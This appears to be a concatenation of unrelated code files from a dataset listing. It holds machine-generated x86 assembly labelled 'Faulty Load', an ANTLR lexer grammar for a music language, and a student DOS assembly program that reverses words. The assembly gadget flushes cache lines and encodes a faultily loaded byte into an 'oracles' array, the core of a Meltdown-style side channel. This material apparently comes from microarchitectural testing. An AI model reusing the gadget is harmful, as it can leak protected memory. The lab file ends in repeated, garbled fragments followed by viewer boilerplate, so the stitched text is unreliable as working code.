pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
// Load
lea addresses_UC+0x2683, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and %rcx, %rcx
movups (%rdi), %xmm2
vpextrq $0, %xmm2, %r13
nop
nop
nop
nop
and $34011, %rax
// Store
lea addresses_PSE+0x2303, %r14
nop
nop
nop
nop
nop
sub $1138, %rbx
movw $0x5152, (%r14)
nop
inc %rax
// Store
lea addresses_A+0x1d4a3, %r13
clflush (%r13)
add %rdx, %rdx
mov $0x5152535455565758, %rdi
movq %rdi, (%r13)
nop
nop
nop
nop
cmp $18401, %rax
// Faulty Load
lea addresses_D+0x16b03, %rax
nop
nop
nop
nop
xor $22173, %rdx
mov (%rax), %bx
lea oracles, %rax
and $0xff, %rbx
shlq $12, %rbx
mov (%rax,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
Visitors/MusicinatorLexer.g4 | obiwit/musicinator | 0 | 2397 | lexer grammar MusicinatorLexer;
//LEXER RULES
CHORD: NOTE ('|' NOTE)+ DURATION?;
SOUND: (NOTE | 'R' ) DURATION?;
fragment NOTE: LETTER ('#'|'b')* OCTAVE?;
fragment LETTER:[A-G];
INT: DIGIT+ ;
DURATION: ('{' DOUBLE '}') | ('\'')+;
DOUBLE: (INT ('.' INT*)?) | ('.' INT);
fragment DIGIT: [0-9];
fragment OCTAVE:('-1'| [0-8]);
ADD: '+';
SUB: '-';
MUL: '*';
DIV: '/';
REM: '%';
BIGR: '>';
BIGE: '>=';
SMLR: '<';
SMLE: '<=';
EQLS: '==';
DIFS: '!=';
ARROW: '->';
ON: 'on';
IN: 'in';
AT: 'at';
BAR: '|';
AND: 'and';
COMMA: ',';
COLON: ':';
EQUAL: '=';
LOOP: 'loop';
PLAY: 'play';
TIMES: 'times';
AFTER: 'after';
SEMICOLON: ';';
ALWAYS: 'always';
GETINT: 'getInt';
SEQUENTIALLY: 'sequentially';
IF: 'if';
ELSE: 'else';
ELIF: ELSE ' ' IF;
FOR: 'for';
NUM_LIT: 'number';
SQ_LIT: 'sequence';
PF_LIT: 'performance';
INST_LIT: 'instrument';
OPEN_PR: '(';
OPEN_SB: '[';
OPEN_BR: '{';
CLOSE_PR: ')';
CLOSE_SB: ']';
CLOSE_BR: '}';
WORD: [a-z] ([_a-zA-Z] | DIGIT)*;
STRING: '"' .*? '"';
LINE_COMMENT: '//' ~[\r\n]* -> skip;
BLOCK_COMMENT: '/*' .*? '*/' -> skip;
WS: [ \t\r\n]+ -> skip ;
|
4 term/Programming-Design-and-Programming-Languages-Assembly/lab_2/Lab_2.asm | Vanya112/BSUIR_Labs | 24 | 179472 | <reponame>Vanya112/BSUIR_Labs<filename>4 term/Programming-Design-and-Programming-Languages-Assembly/lab_2/Lab_2.asm
name "Reverse"
.model tiny
.code
org 100h
output macro output_string, offset_space
mov dx, offset output_string
add dx, offset_space
mov ah, 09h
int 21h
endm
start:
output message, 0 ; Welcoming message
mov bx, offset string ; input of the string
mov [bx], SIZE ; setting buffer size (so we can input all 200 symboles if needed)
mov dx, bx
mov ah, 0Ah
int 21h
add bl, [string + DOLLAR_OFFSET] ; getting string length + '$' offset
add bx, SYMBOL_OFFSET ; and adding 0Ah and 0Dh to it (means incrementing by two)
mov ax, dx ; checking if the string is not empty
add ax, SYMBOL_OFFSET
cmp ax, bx
je exit_failure
mov [bx], '$'
xor dx,dx ; set dx to null
xor ax,ax ; set ax to null
lea bx, string ; repeating the operation
add bx, SYMBOL_OFFSET ; after setting '$'
mov si, bx ; saving the begining position
mov di, bx ; of a string
dec si
next_symbol:
inc si ; going through the string
mov al, [si] ; reading a symbol
cmp al, ' '
je end_found
cmp al, '$'
je end_found
jmp next_symbol
end_found:
mov dx, si ; found space or '$'
dec si ; going one symbol back
mov bx, di ; in order to know the word's last symbol
reverse_word:
cmp bx, si ; inverse the word
jae done
mov al, [bx]
mov ah, [si]
mov [si], al
mov [bx], ah
inc bx
dec si
jmp reverse_word
done:
mov si, dx ; restoring the position of the symbol after the reversed word
inc dx ; getting the position of
mov bx, dx ; possible first symbol of the next word
mov di, bx ; saving it
mov ah, [si]
cmp ah, '$'
jne next_symbol
output result_message, 0
output new_string, 0
output string, SYMBOL_OFFSET
mov ah, 01h ; waiting for any symbol
int 21h ; to exit the programm
ret
exit_failure:
output error_message, 0
mov ah, 01h ; waiting for any symbol
int 21h ; to exit the programm
ret
string db 200 dup('$')
new_string db 0Ah, 0Dh, '$'
message db "Please, enter the string:", 0Dh, 0Ah, '$'
result_message db 0Dh, 0Ah, "Result : ", '$'
error_message db 0Dh, 0Ah, "Error : the string is empty!", 0Dh, 0Ah, '$'
DOLLAR_OFFSET equ 1
SYMBOL_OFFSET equ 2
SIZE equ 200
end startR_OFFSET equ 1
SYMBOL_OFFSET equ 2
SIZE equ 200
end startSET equ 2
SIZE equ 200
end startT equ 2
SIZE equ 200
end startequ 1
SYMBOL_OFFSET equ 2
SIZE equ 200
end startt |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.